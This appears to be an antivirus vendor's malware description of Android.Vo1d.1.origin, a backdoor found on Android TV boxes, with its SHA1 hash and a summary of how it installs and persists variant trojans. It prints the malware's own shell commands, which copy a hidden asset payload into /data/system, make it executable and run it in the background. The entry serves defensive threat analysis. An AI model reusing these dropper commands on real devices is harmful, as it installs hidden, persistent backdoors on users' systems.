SHA1 hash:
- 7f87f9f059a58eb830d59af5bcb29c612b2a6ccf (com.google.android.services)
Description
Android.Vo1d.1.origin is a malicious backdoor for Android devices that has been detected on a number of Android-based TV box models. Its primary task is to copy a file hidden in its resources (/assets) to a target directory, change the access permissions for this file and run it, and then to ensure that this file launches after the infected device is rebooted.
Operating routine
Operations with the target files are performed via the commands shown in the example below:
ShellUtil.execCommand(("cp -rf " + this.mBox.getAbsolutePath() + " /data/system/installd"), true);
ShellUtil.execCommand("chmod 0755 /data/system/installd", true);
ShellUtil.execCommand("/data/system/installd > /dev/null 2>&1 &", true);
There are several Android.Vo1d.1.origin modifications, each of which can extract its own payload.
Files copied to /data/system/startup are variants of the Android.Vo1d.1 trojan.
Files copied to /data/system/installd are variants of the Android.Vo1d.3 trojan.
More details on Android.Vo1d.1
More details on Android.Vo1d.3
